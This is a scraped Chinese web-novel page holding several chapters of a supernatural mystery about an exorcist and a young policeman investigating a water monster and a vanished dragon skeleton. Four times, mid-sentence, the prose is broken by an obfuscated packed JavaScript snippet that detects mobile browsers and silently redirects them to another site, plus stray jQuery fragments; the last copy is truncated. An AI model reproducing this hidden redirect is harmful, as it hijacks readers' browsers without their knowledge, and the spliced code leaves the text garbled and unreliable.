“我猜测,应该是这样。实际上,他们已经找到地方了,也派了一批人进去,只可惜,惨败而归,那群人没有一个能活着回来。加上地底因为探路,被挖穿了很多条通道,他们也不确定到底哪一条能直达另一个世界的飞龙潭,所以派出这些黄鼠狼,一则探路,二则,继续打洞,将洞口拓宽,好让后面可以派出更多的人下去。”
“可是,他们为什么想去那个世界呢?”薛暮冉依旧想不通,“那个世界一片漆黑,除了那片吉云草,也没有别的了吧,有什么可值得花费这么大精力非去不可呢?”
“因为这个。”竹七九掏出一枚贝壳似的扇形物件,“这是上次我在地底下捡到的,在一群枯骨身上捡到的。那群人应该就是岳家派出的敢死队,找到了地方,也找到了他们想要的东西。可惜拼尽全力,只夺下来这么一片,就全部死绝了。”
“这个——摸着滑溜溜的,是什么啊?看着也不像是贝壳。”
“我猜,可能是那飞龙潭里的东西身上的鳞片。”竹七九想起那双黄色巨眼,浑身一颤,“上次要不是草鞋妖救了我们,只怕我们也跟那些人下场一样,早就葬身湖底了。”
“那草鞋妖搞这么多事情,又是为了什么呢?”薛暮冉将鳞片放在病床上,歪着头思考着,“难道,他是为了提醒我们,那下面有危险?还是提醒我们去给那些死去的人收尸啊?”
吱呀一声,病房门开了,田芸淼带着几件新衣服走进来,笑道:“这是我们集资给你买的一套衣服,你身上那件不是被抓烂了嘛,以后就换上这身吧。”
竹七九道了声谢谢,接过衣服
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988055|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放在床头,忽然叫住转身欲走的田芸淼:“对了,田小哥最近在做什么?要是方便的话,能不能让他过来找我一下?”
田芸淼虽然心里有些不解,不过早已经对眼前这个人的行为见怪不怪了。点头答应着,轻轻掩上门。
“你找田云霄做什么?”薛暮冉倒是先问了。
“我想看看那地底下还有没有其他东西,还有,这岳冬来究竟想做什么,我们不是还没确定嘛。现在只是暂时阻止了他们的行动,谁知道他们接下来准备做什么。”
“本来打算带岳冬来回来问话,但是因为我们私自使用抽水机淹死他们那么多黄鼠狼跟狐狸,队长怕他们会先反咬一口,所以作罢了。”薛暮冉有些失落,“但是我觉得,他们挖了那么多深坑,只要一查,肯定没理的是他们,可是队长还是决定作罢。”
“还是萧队长比较有远见啊!”竹七九笑了,“那些坑他们肯定已经处理过了,不管你现在带人去怎么搜查,估计也找不到什么有用的证据。更何况,你们大张旗鼓,借来抽水机灌了人家的地盘,如果他们来硬的,只怕你们也不好过。”
听了这些将自己完全摘干净的无情话语,薛暮冉气呼呼抱怨道:“大师,你这样说就有点过了,我这可是听了你的话,才做的这些事,结果现在倒全变成我的过错了!”
“哈哈哈哈!”屋外传来爽快的笑声,下一秒,萧泰安推门而入,“小薛啊,这就是你入世未深的不足之处了,被这小子牵着鼻子走,还浑然不觉!”
“萧队长,你这么说可是谬赞了!”竹七九死皮赖脸的笑着。
“听说,小镇北边的居民反馈,家养的那些鸡鸭好像都健康起来了,这是怎么回事?”萧泰安也坐到床边,靠在窗户边问道。
“我猜测啊,是那些人为了防止黄鼠狼乱跑,就给这群小动物身上撒了某种药粉,能神不知鬼不觉给家禽下毒。这样黄鼠狼溜出去瞎跑,那些药粉也就散出去了。时间久了,家禽受到影响,渐渐地也就没人养殖,黄鼠狼自然就乖了。谁知道这些药粉竟然可以促进植物生长,那些葱蒜什么的蔬菜变得异常茁壮,还散发出异香——”
“所以,被你发现他们借着饲养狐狸的名号,实际上养的是黄鼠狼。”萧泰安发现那枚奇怪的鳞片,捡起来把玩着,“这是什么?”
“河里捡来的小玩意,我也不知道到底是什么东西身上的!”
萧泰安拿着这枚鳞片,对着阳光反复观看,忽然叫道:“这上面好像写了字!”
旁边的两人赶忙凑过去,只见白色的内里中间,的确刻了几个字,只是痕迹很浅,所以一直没人注意到。上面写着几行细小的字:
‘我本逍遥,误入红尘,遇一知己,可惜力不从心,椿离,抱歉’。
此时,某处大院内,黑衣戴面具的年轻男子在廊下喝茶,暗红色的茶水散发出阵阵幽香。一条花斑蛇绕在他的胳膊上,嘶嘶吐着信子,似乎十分急躁。
“会好的,接下来,绝不会放过他。”那蛇似乎听懂了这话,乖巧的伏在男子胳膊上,不再动弹。
40.第一章 水中之魂
咕咚——咕咚——
漆黑的湖面底下,水草轻轻摆动身体,鼓着腮的草鱼摇着尾巴,露出白肚皮,几只青黑色的龙虾趴在临近水面的杂草中,两只凸出来的眼珠子左右转着。
忽然间,岸边传来脚步声,紧接着,一根半米粗细的管子无声的插进水里,不断往下延伸,侵入这个原本安详平静的世界。
轰隆隆——轰隆隆——滚滚水流席卷而上,消失在虚无之中。管道里传来的巨大吸力带动着水流,不断转着圈圈,形成漩涡。水草更加剧烈扭动着腰部,跳出狂乱的舞蹈,草鱼被漩涡带动,身不由己的成为这水中龙卷的一份子。
水位不断下降,不少鱼虾,还有其他小动物,被这管子吸进去,消失在不知名的地方。
水底的一道漆黑的身影动了动,缓缓睁开眼睛,两道火焰喷薄而出,短暂的照亮了已经浑浊不堪的湖底深处。
哗啦——冰冷的铁链发出冰冷的光芒,拴住他健壮有力的四肢,往前拽动三分,那链条转眼又往后缩回五分,就这样来回纠缠,最终,他被悬空吊起,在水里四肢绷得笔直。
“杀不死我,就想出来这等下作手段来折磨我!”黑影低声嘶吼,双手握拳,发出道道金光,逐渐将链条拽到胸前,“额——啊——”
水位下移,困住怪物双手的锁链因位置靠上,逐渐露出水面,顿时失去光泽,被这黑影趁机挣断。碎裂的铁链掉在湖底,无声无息。
黑影狂笑几声,弯腰将双足上的链条同样扯断。潮湿的身影跃上岸边,抬头望去,一轮残月高高悬在空中,旁边立着一架巨大的机器,像一座城堡似的。几个瘦小的人影聚在水边说话,随手将燃尽的烟头扔在草丛里。
微弱的月光照在身上,现出黑影的真实面貌来。鼻子塌而扁平,额头分外突出,头上一圈白色的毛发,看上去似乎是只猴子。只是他身上还穿着青色的铠甲,虽然已经破碎不堪,但仍旧掩不住他的威武气派。
啪嗒——啪嗒——潮湿的脚步声,夹杂着铁链拖行的动静,他缓缓往那群人身边走去。
“哈哈哈——我可跟你们说,这道符真的是宝贝!”从巨大机器上跳下来一个人,举着一张明黄色符纸,冲其他几人炫耀般的挥动。
月光照在上面,那符纸上用朱砂写就的字竟然泛着丝丝红光。
黑影停住脚步,将身上残留的铁链掰断,扔在地上。可是手一碰到手腕处的锁铐,顿时一阵触电似的痛感席卷全身,他只好放弃,带着铐住双手的铁环,转身一跃,藏进了密林之中。
“什么声音?”人群中有人问道。
“估计是小动物吧!”另一个人回答。
微风轻轻吹着,青灵站在高墙之上,耳畔的铃铛随风摇摆,发出的声音格外清脆动人。她已经给远处的竹七九发去信号,剩下的,就看这群人了。
轻轻跃下地面,她往铁丝网外掠去,看见那架抽水机边聚集的年轻男人,忍不住低声笑道:“要是换了平时,早就把你们心脏挖出来吃了!只可惜,今夜可不行,要是坏了那家伙的事,回头肯定要来闹我!”
为首的男子正是那夜与之搭话的薛暮冉,她见那人虽然个头不高,眉宇之间却有股掩饰不住的英气,微笑时,嘴边的虎牙露出来,倒又添了几分童稚之感。
“这人倒是有几分气概,只可惜,不是一路的——”青灵跳上一棵柏树的枝丫,笑着隐去了身形。
林间黑影幢幢,青灵身姿轻盈,在树间跳跃前行。忽然发现地面上有个黑影,身材壮硕,胳膊上肌肉纠结,青色的盔甲反射着偶尔出现的月亮光芒,发出阵阵森寒的光芒。
青灵小心藏匿身形,紧跟其后,不一会,那穿盔甲的怪人就到了九景山边上。青灵站在树上,心里虽然着急,可是也没办法,她无法离开九景山。
那怪人渐行渐远,逐渐消失在陡峭的坡道上。
一切,好像没有变化,就这样到了白天。
清晨,和煦的阳光尚未出现,水面泛起阵阵淡绿色的涟漪。四个女人结伴往河边走着,手里要么拎着水桶,要么端着水盆,里面装满了要清洗的衣服。
河边用木头搭建着一个长方形的水埠头,方便村里人打水洗衣服。
“我可听说啊,老周那个媳妇儿是买来的,花了一万块呢!”穿黄衣服的妇人拿着水桶在水面上来回摆动,将水面上漂着的脏东西撇到一边。
“一万块啊,老周哪来这么多钱啊?”另一个别着紫红色发夹的妇女惊讶的问着,边将洗衣服的盆放在岸边,又把后脑勺上大约半米长的麻花辫对折一下,拿根棍子固定住。
“听说,是下矿挖到好东西了,东家给了不少钱——”另一个拿桶的短发女人也走过来,边拨动水面,边回头冲几人说话。
哐当——木桶似乎撞到什么东西,她转头看向水面,一颗惨白的人头立在水上。之所以说立,而不是漂在水上,也是有原因的。这颗人头只有鼻子以上的部位露出水面,也不随波逐流,任凭水面如何晃动,头颅始终保持在一定范围内,而不会往远处漂去。
女人的尖叫声引来远处做农活的男子,三个身影出现在土坡上头。他们扛着锄头走过来,以为是女人们洗衣服失足掉进水里。
“哎呀!老周,老李,大明啊,你们快过来!出大事了!”扎着麻花辫的女人大声招呼。
事实证明,遇到这种情况,男人的胆量的确比女人稍微强上一些。一个剃着平头的男人走到木头台子尽头,用手泼了几下水,那人头晃了两下,随着水面平静下来而静止。
男人从水埠头侧面下水,潜到水下,看见这头颅下面连着完整的身体。再往下扎了个猛子,视线逐渐模糊,他双手抱着水台下方的木头,继续往深处探去,渐渐发现端倪。伸手一掏,从这人的脚上发现一根手指粗细的麻绳。
他拽着那根绳子,想试试能不能拉动,结果一口气憋太久,他有些难受,只好又转身往上游去。在这瞬间,那绳子松动了,两道金色的光芒从河底浮现,转眼又失去踪迹。
平头男浮上水面,大口喘着粗气,一转头,迎面差点跟那个惨白的头颅碰上,吓得直往后游着。这时那惨白僵直的尸体逐渐变得高大,冲出水面,像是要站起来似的,吓得众人惊叫连连。
呼啦——尸体直直倒下来,摔出一片水花。
水波荡漾,浑浊的喝水中,一道灵活的身影攀登至上,落在那不断踩水的双脚正下方。
厚实的嘴唇微微翘起,露出森然獠牙。伸出宽大的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992748|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手掌,在那双脚四周转动,似乎在考虑用什么角度抓住这双脚才不会脱手。
弯着腰无声的笑了两次,嘴角渗出的气息变成泡泡在水面炸裂开。一个脸上长着黑痣的中年男人往后一退,指着水底下说:“刚刚,那是怎么回事?”
“什么啊?”后方的女人们倒是勇气上来了,挤到前面盯着水面。
“水底下,好像有东西——”黑痣男人颤抖着双手,爬起来,连连后退,见其他人都看热闹似的往前拥,他吞了口唾沫,逃往远处土坡。
“哪有啊——看花眼了吧——瞧他那胆子小的——”其他几人纷纷嘲笑。
这时,还在水中流连的平头男也挤出一丝笑容,刚想说什么,猛地一阵水花,他已经消失在水里。
紧接着,水面一片猩红扩散开,一个带着血色的头颅漂上来,脖子处露出碗口大的血色窟窿,歪斜着脸,顺着水流往远处流淌而去。
哐当——手里的水桶掉在水埠上,洒了一台子的水,又滚到河里。呆住的几人这才察觉到危险,你推我搡,往岸边跑去。
这时身后传来一阵巨大的水花,木质台子猛地一震,几人站立不稳,有的滑进河里,有的摔倒在台子上。
回头看去,台子上的几人立刻颤抖着双腿,慢慢跪倒在地。
他们面前站着一只两米多高的怪物,白色的毛发被水打湿,贴在皱纹遍布的脸上。一双锐利的眼睛隐隐冒着金光,鼻子扁平肥大,嘴唇前凸。身上穿着破烂不堪的青黑色盔甲,一对强壮的胳膊垂在膝间,手腕上带着青黑色的铁环。两条小腿微微蜷曲,肌肉鼓起,脚掌宽大,脚趾间长着类似蹼一样的东西。
怪物伸出宽大的手掌,拿着一截白色的东西塞进嘴里咀嚼,不一会,血水掺杂着红色的肉碎掉在灰色的木台上,发出滴滴答答的声音。
“他——他吃的是人腿!”扎着麻花辫的女人浑身颤抖,说话也哆哆嗦嗦。
这时,几人才注意到,那怪物手里拿着的,是一截穿着鞋子的人类小腿。
“啊——啊——救命啊——”惨叫声不绝于耳,几个女人早已软了双腿,瘫在那里动弹不得。剩余的那个男人勉强支起身子往前踉踉跄跄跑着。
人影一闪,那怪物已经阻在水埠头前方,挡死了他的去路。
“嘿嘿嘿——”嘶哑的低笑声从怪物喉咙里传出,在场的几人浑身一颤,只觉得后背一股凉气直直的冒上来,吓得连动也不敢动。
“说,龟山在哪里?”怪物瞪着一双巨眼,看向面前的两个男人。
他们立刻跪倒在地,不断祈求原谅。
一道血雾划破寂寥的天空,仅剩的男人被割破喉咙,气绝而亡。扎着麻花辫的女人颤抖着往旁边挪动着,扑通一声跳进水里,往远处游动。
剩余的女人也想往水里跳,又见几缕红色血柱冲天飞起,女人们瘫在木台子上,血液像小溪一般流进河里。
怪物冷冷笑着,盯着远处那个游动的身影,踢开脚边的尸体,纵身跳进河里,不一会,那个奋力游动的女人消失在河中央。
不知过了多久,一个瘦弱的身子从水埠头下面钻出,颤抖着身子看向满地尸体,想哭又哭不出来,又怕那怪物返回,于是连跑带爬逃回村庄。
41.第二章 跋山涉水
六月初一,正午的太阳炽烈的烘烤着大地,一青一黑两个身影在山间穿梭,身上都背着行李。好不容易爬上山顶,穿青色夹克外套的男人摘下草帽扇风,露出一双孩子般单纯清澈的眼睛。另一位穿着黑色短袖的年轻男人将背包往地上一扔,瞪着一双圆溜溜的眼睛,骂道:“大师,我们还要花上多久时间才能到地方啊?”
原来正是半吊子降妖大师竹七九跟彩衣镇警局新秀薛暮冉,两人靠在一棵松树下歇息,大口大口喝着矿泉水。
“照我们现在这个速度,估计还得花上一天的时间才能到。”竹七九抬起手放在眉毛上,往远处看着。
“早知道就不揽这个活儿了!都怪你,一听见桐柏山这个名字,就跟看见什么宝贝似的,非要跟队长推荐,让我去现场帮忙!结果连路都不认识!”薛暮冉满口抱怨,耷拉着眉毛,一副上当受骗的样子。
“嗨!大姑娘上花轿,我这也是头一次过来嘛!听说,那村子盛产桃子,又大又甜,你就不想去吃上几框?”竹七九一脸狡诈的笑容,“再者说了,天天守在彩衣镇,有什么好玩的?不如出来溜溜弯嘛!”
说着拍拍对方的头,催促他起身继续往下走。
戴好草帽,竹七九掏出一柄做工精巧的匕首——上次他在朱云杉的手上坑过来的——轻松砍下一截树枝,将旁枝尽数削去,只留下主干,拿在手里充当拐棍。
往下走了大半日,终于见到山脚处有一片松树林,两人抹抹脸上的汗珠,赶忙连滚带爬,踉踉跄跄的冲进去,靠在大树根上歇息。
“大师!我——从来没发现,爬山能这么累!”薛暮冉瘫坐在旁边,藏青色的工装裤已经湿透,变成青黑色,紧紧绑在腿上。
“这山太陡峭了,沿路连棵像样的树都没有,又单调,又无趣,能不累人吗?”竹七九喝了一大口水后,将水壶递给正望眼欲穿的薛暮冉。
“这次种桑乡发现的怪兽尸骨,到底是个什么东西啊?”薛暮冉喝完水,这才止住喘气,开始问起此行的目的来。
“听说,是个巨型龙骨,不过,还没见到真身,我也不好判断。但是,应该有点意思。”竹七九眯起眼睛笑了笑。
“种桑乡属于环溪村,听说那边的警察几乎都出动了,说什么,要保护现场。可惜因为龙骨体积太大,挖掘人手根本不够,所以跟周边地方借调人过去帮忙。听说,上面已经派了专家团队过来,在那些人来之前,现场必须要得到严密的保护!我可不想过去干苦力,做挖掘工啊!”薛暮冉有些不屑,认为这一切都是小题大做。
竹七九嘿嘿一笑,作为回答。
这时,从林子另一头传来一声清脆的金属撞击的声音,砰——余音绕梁,在人心头荡漾,震得心脏也跟着加快速度跳动。
两人盯着声音传来的方向,神情都带了几丝紧张。竹七九逐渐捏紧那根树枝,指节也突出来。
砰——声音愈近,不安感随之愈胜。小径深处,走出来两个人影,一男一女,都身穿黑色长袍。男人的手里拿着一只造型奇特的铃铛,柄的上端是个山字形。
男人单手持着铃铛,向一边有节奏的摇动,又发出跟方才一样的金属撞击声。
走的近了,才看清对方长相。这一对造型奇特的男女看上去不过二十出头,面容清秀,眉宇之间还有几分相似之处。
这个年轻的男人留着一头细碎的刘海,头发在脑后扎成一束。眉黑如墨,眼亮似星,从黑袍里伸出来的那截手臂白的毫无血色。
再看这个女人,双眼狭长,眼尾微微翘起,天生一股魅惑之感。小巧的鼻头上有一颗若隐若现的痣,嘴唇血红,描得精致而细腻,面容却是雪一样的白,像是敷了好几层面粉。
两人都背着行李,似乎也是长途跋涉而来。他们转动眼珠,淡淡扫过坐在路边的竹七九二人,面上依旧毫无表情,似乎这两个满头大汗的年轻人跟路边草木毫无分别。
微风吹过,长袍猎猎作响,两人头也不回,往山下走去。
“突然很想恶作剧,怎么办?”竹七九冷笑着,将水壶拿在手上,沿着树枝倒下半壶水,嘴里低声念着熟悉的咒语:“天地玄黄——”
一个箭步冲上前去,将树枝插进那女人的头颅。咔嚓两声,女人缓缓转过身子,额头插着那根树枝,一脸不可置信的表情扭曲在一处,缓缓倒下。
旁边的年轻男人歪着头,盯着竹七九,一脸疑惑。又看了眼天边的云彩,他弯腰拾起女人的背包,继续往前走去。
薛暮冉吃了一惊,一路小跑着过来,问道:“大师,杀人是犯法的,你可别乱来!”然后看向地面,好奇地蹲下来拨弄那女人的尸体,发出哗啦啦的声响。
“这女人是个纸人啊,难怪能被你用树枝戳穿脑袋!”薛暮冉将地上的‘尸体’捡起来,抖两下,摊开,是个画在纸上的年轻女人。
“看来,已经有人先我们一步,到了种桑乡。”竹七九哈哈一笑,将那纸人收好,塞进背包里,“这下更有意思了,我们也走快点吧。”
“那,刚刚拿铃铛的男人也是纸人吗?”
“是的,不过要留着他给我们带路,也省的我们四处乱撞了。”竹七九似乎看出对方的疑惑,抢先解释。
两人加快脚步,勉强追上那个男性纸人。只见他背着两个大包,依旧健步如飞,漆黑的眼珠子来回乱转,一会看看左边的竹七九,一会又盯着右侧的薛暮冉。
夕阳西斜,终于看见几户土砖房立在田野之间。薛暮冉弯着腰,气喘吁吁,擦着额头的汗水,骂道:“这是纸人还是机器人啊?怎么速度这么快还不带累的啊?”
“哈哈哈,是吧!”竹七九意味不明的应和一句,指着前面的土房子,“我们去问问路吧,看看大部队都在哪里驻扎呢!”
一靠近这些房屋,两人立刻被飘出来的饭菜香味迷了神志,肚子也不争气地咕噜噜叫起来,似乎在抗议这一整天的虐待。
屋子前方有一片平地,堆着刚收割的秸秆,饱满的稻谷连同秸秆束成一捆,几只土鸡来回跳着,捡拾地上残留的稻粒。
旁边摆着一张木桌,一家四口围在一起正在享用晚饭。一个大些的女孩眼尖发现了这两个陌生人,叫起来:“爸爸,你看那边——”
旁边一个小胖子也转过头,伸出胖乎乎的手指,跟着叫起来:“爸爸——爸爸——”
背对着外侧,正埋头吃饭的中年男人这时才慢慢转过头,眼神中全是疑惑。旁边坐着的女人开口了:“你们找谁?”
薛暮冉拿出证件,解释缘由。这家人一听说他们是来看护龙骨的,立刻露出笑容来,并热情的招呼他们入座吃饭。
女人带着一大一小两个孩子进屋,将桌子让给三个男人。
“原来你们是飞龙村的啊,我说呢,看着面生!”男主人喝了一口酒,打声招呼,让妻子再拿两付碗筷出来。
“飞龙村?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998969|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竹七九有些疑惑。
“哦,你们也是刚来不久吧!”男主人微微一笑,“以前彩衣镇叫飞龙村,最近几年改革,合并了附近几个村子,改成叫这个名字的。”
“这样啊——”竹七九若有所思的应和着,这时女主人拿着碗筷摆在桌子上,脸上洋溢着朴素的热情。
竹七九假意推辞一番,然后毫不客气地接过筷子吃起来。薛暮冉本来还有些扭捏,见他们毫不在意,也跟着放开肚皮狂吃。
一天的饥饿让他失去了矜持与礼貌,变成那群跳来跳去的小鸡仔,只能看得见眼前的食物。
“大哥,怎么称呼啊?”竹七九简单垫了一层肚子,开始慢悠悠喝起酒来。
“我姓刘,你叫我老刘就行!”刘老哥豪爽一笑。
“刘大哥啊!我在家排行第七,你叫我老七就行!” 竹七九拍着胸脯,一副江湖儿女的模样,“对了,那个龙骨,你看见了吗?”
“怎么没看见呢,就是我们几个发现的!”男主人龇牙笑起来,露出的门牙缺了一块,“看到没,我这门牙,就是磕在上面没的。”
原来前几日刘老哥上山巡视完橘子园,忽然肚子疼,于是选了一条偏僻的近路,想着快点下山,回家解决生理需求。
结果因为走得太急,山路陡峭,刘老哥一个踉跄,沿着山路一路滚下去,门牙磕在一处突出石块上,崩裂了,嘴唇也肿了一大块,血流不止。
也正因为如此,他才发现这块石头与众不同。殷红的血液滴上去,转眼就消失无踪。他以为碰到什么吸人血的怪物,吓得一路跑回家,召集一批村里胆大的男人们再次上山,挖出一只巨大的怪兽头骨。
很快,这消息不胫而走,传到镇上。警察也过来查看,并派出专门的挖掘团队,很快,这片山地被掏空,露出一只巨兽的身体骨架,光挖出来的部分就有四五米长,还有一部分藏在山石之后。
那只头骨大概有四头牛合起来那么大,脸颊瘦长,跟水牛的头骨倒是差不了多少。只是这怪兽的身子细长,还有四只爪子嵌在泥土中。
这下子,众人一看,纷纷交头接耳起来:这不就是龙吗?
“看来,那龙骨还嵌在山上的泥土中咯?”竹七九笑着问道。
“对啊,据说汇报给了市里的大领导,说是有专家要过来亲自指挥,让我们不能破坏龙骨。所以现在谁都不敢动,都在等着大人物过来呢!”刘老哥吃着菜,一脸不屑。
“现在只有警察在值班吗?”薛暮冉也有些好奇起来。
“才不是!那群人天天好吃好喝的混在各家各户,现场看护的都是我们这群老农民!”刘大哥啐了一口痰,脸上也有些气愤,“耽误我们工作不说,连报酬也没得,这不是拿我们不当人嘛!”
忽然意识到,这两位也是警察,刘大哥尴尬的咳了一声,笑道:“当然,我相信你们是真心过来帮忙的,只是啊,这本地的人还不如外人好呢!”
在微妙的氛围中结束晚饭,刘老哥带着两人去到龙骨现场。只见一片斜坡上支着几个帐篷,地上燃着一堆篝火,远远望去,人头攒动,似乎围着一群人。
“每天都这么多人守夜吗?”薛暮冉惊讶的问着。
“不对啊,一般大概也就三四个人轮流守夜啊!”刘老哥也觉得奇怪,快步走上前,看见人群正在低着头窃窃私语。
听了半天,他们才略微弄清楚事情的大概——龙骨头颅不见了!
42.第三章 莫名其妙
原来每天下午六点钟是值班换岗的时刻,这天也是如此,两班人聚在一起说笑,不超过五分钟的时间,忽然有人指着山边惊叫一声:“龙骨——怎么不见了?”
目前只有龙骨头部被完整的挖出,放置在一旁的空地上,上面支起了巨大的防雨布,一方面是遮雨,另一方面也可以避免太阳光的暴晒。
但是此刻,那片防雨布下空空如也,除了满地的土块,再没有其他东西。
“让开——让开——”背后传来一阵急切的喊声,一高一矮两个穿制服的年轻人拥着一位大约三十出头的青年男人走过来,“队长,你看这——”
这个青年叫罗明昶,是本地环溪村派出所的小队长,天生长着一张方脸,偏偏一双眼睛圆滚滚的凸出来,像是金鱼的眼珠子,两颊肌肉松弛,皮肉堆积在下颌骨上,活像一只方脸青蛙。
这一高一矮都是他的下属,高个子的叫赵天允,是从外地刚调过来的年轻人,瘦瘦长长,没什么力气。矮个子是本地人,叫徐怀洲,年纪虽然不大,但是做事圆滑老套,对付这群满口方言的村民倒是有一套手段。
噗噗——人群中有人笑出声。
罗明昶一皱眉,腮帮子也鼓起来,还没说话,另外两个年轻人已经上前一步,大吼着:“谁在笑?龙骨丢了这么大的事情,还敢笑?给我站出来!”
四只眼睛像雷达探测器似的在人群中扫描,不一会,就锁定了目标。高个子跨着大步走进人群中,站在偷笑者的面前,冷着脸问道:“你在笑什么?”
罗明昶注意到那是个穿青色夹克外套的年轻男人,他正一脸傻笑看着这两个警员:“我在想,狗仗人势的时候,那只狗到底是个什么想法!明明论撕咬能力,它应该在人类之上。这么看的话,明明应该叫人仗狗势,谁家狗厉害,那这个狗主人也会跟着有面子,你说对不对?”
赵天允一脸听不懂的表情,眉头紧锁,这时其他人村民也跟着笑起来。特别是站在旁边一个穿着黑色短袖的年轻人,捂着嘴,低垂着头,身子一抖一抖的,像是得了羊癫疯。
真是蠢!罗明昶有些生气,但是也不打算上去为下属解围。
反倒是徐怀洲脑子灵活,连忙跑过去,急匆匆的冲赵天允耳语几句,两人都竖起眼睛盯着青夹克,“你妈的,敢骂我!”
高个子伸出拳头,准备大干一场的时候,罗明昶终于看不下去,走了过来:“在闹什么?”眼神冷漠,又看了眼旁边的普通群众,勉强换上笑脸,“老乡们,这里就交给我们,今夜大家就回去好好歇息吧。”
“可是,龙骨不见了,最要紧的不是先问话吗?怎么能让人回去呢——”旁边的黑短袖嘟囔着。
声音虽小,不过罗明昶的腮帮子鼓得更大了,似乎正在咬紧牙关,他听的清清楚楚。现在这群年轻人,是越来越不像话!他在心里暗自骂了一句。
“请问这位是?看着脸生,不是种桑乡的吧——”罗明昶挤出笑容,语气平缓的问着。
“哦——抱歉,我是彩衣镇过来支援的警察,我叫薛暮冉,这位是我同事,竹七九。”姗姗来迟的自我介绍,似乎将局面变得更为尴尬。
闹剧过后,众人围着防雨布外侧席地而坐,面色凝重的看着里面。有人在旁边生了一堆火,明黄色的光芒照亮了方脸队长的脸,随风摇动的光芒使得他看上去脸似乎圆滑了一些。
两个年轻的手下正在人群中问话,他盯着眼前的火堆,有些出神。这是他来种桑乡工作的第三个年头,本打算利用龙骨的事做点文章,好回去城里发展,谁知又发生了这样的事情。
自从三年前,因一起绑架案指挥失当,导致受害者被凶手虐待,差点丢掉性命。他也因为这件事,被降职调到这个鸟不拉屎的鬼地方来当个小队长。
明明应该前程似锦的,偏偏,遇上这件倒霉的事!
“也怪我当时鬼迷心窍啊!以为对方家大业大,解决了这件事后就会平步青云——结果作茧自缚了——”
“怎么作茧自缚了?”
“还不是——”方脸队长罗明昶一转头,迎上一双笑眯眯的眼睛,“你——在做什么?”他忍不住往旁边让了让,露出嫌弃的表情。
原来是竹七九默不作声地蹲在他左手边,一脸不正经的微笑,低声说:“我看你一个人坐在这里怪寂寞的,所以过来陪你解解闷嘛!”
黏糊糊的语气,带着一股子腻歪人的气息,罗明昶有些反胃,又挪了几步距离,冷冷开口:“你们可以回去了,我早就说过不需要借人过来,所长非要坚持,结果证明,借来的没一个派的上用场的!”
“这样啊——那其他镇上过来支援的警员都回去了吗?”
薛暮冉在他右手边坐下,两人刚好形成夹击之势,让他无路可退。
“我说啊!”罗明昶不满地站起来,“你们到底要做什么?其他那些支援的人都已经回去了,你们也可以走了!”
“可是,我们队长说,是你们跟上面反映人手不足,我们这才跋山涉水过来的。现在什么事儿都没干就回去,我也没办法交代啊!”薛暮冉有些无奈。
“那是你们的事情,跟我无关!”罗明昶退到一边,掏出烟点上,靠在树上孤独的看着前方。
一整天都不顺利,大晚上还碰到这两个脑子不太正常的人,这让他更加烦闷。猛吸了一口,烟头亮起了黄色的火光,很快又黯淡下来,已经烧到尾部。他随手将烟头按在树干上,然后清清嗓子,随地吐了口痰。
多年的吸烟经历让他的嗓子跟肺部受到严重伤害,也许已经命不久矣了吧。他自嘲的笑笑,忽然睁大了眼睛,“喂!你们在做什么?”
他跑到那片防雨布下面,看见竹七九正在地上,画着奇怪的图形,像是一个‘人’字,不对,是个‘介’字,也不对,介字里面还画了一团看不清的东西。
“这里是案发现场,你们别乱动!”他凭着自己仅剩的官威,大声命令着。可面前的这个人充耳不闻,自顾自画着,另一个年轻一些的在四角方位插上四根树枝,又在树枝上绑上黄纸。
似乎在准备着什么,他的好奇心被勾起来,自从步入三十岁,他本以为自己已经失去了激情,变成一潭死水。然而此刻,在这个阴暗的山坡上,外侧围着一圈人在窃窃私语,里面有两个奇怪的警察在——摆阵吗?
真可笑!他又点了根烟,默默抽起来。这时两个手下也走过来,汇报进展。结果就是,没有任何人看见那龙骨究竟是怎么消失不见的。进展就是毫无进展。他觉得这根烟的味道变得像屎一样,狠狠将它扔在地上,用脚踩灭。
“大师,弄好了!”薛暮冉的叫声吸引了这边的三个人,更远处的一帮人也围过来,现场变成了马戏场。
怎么样都无所谓了!罗明昶有些自暴自弃的想着。
“那现在就要给大家带来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 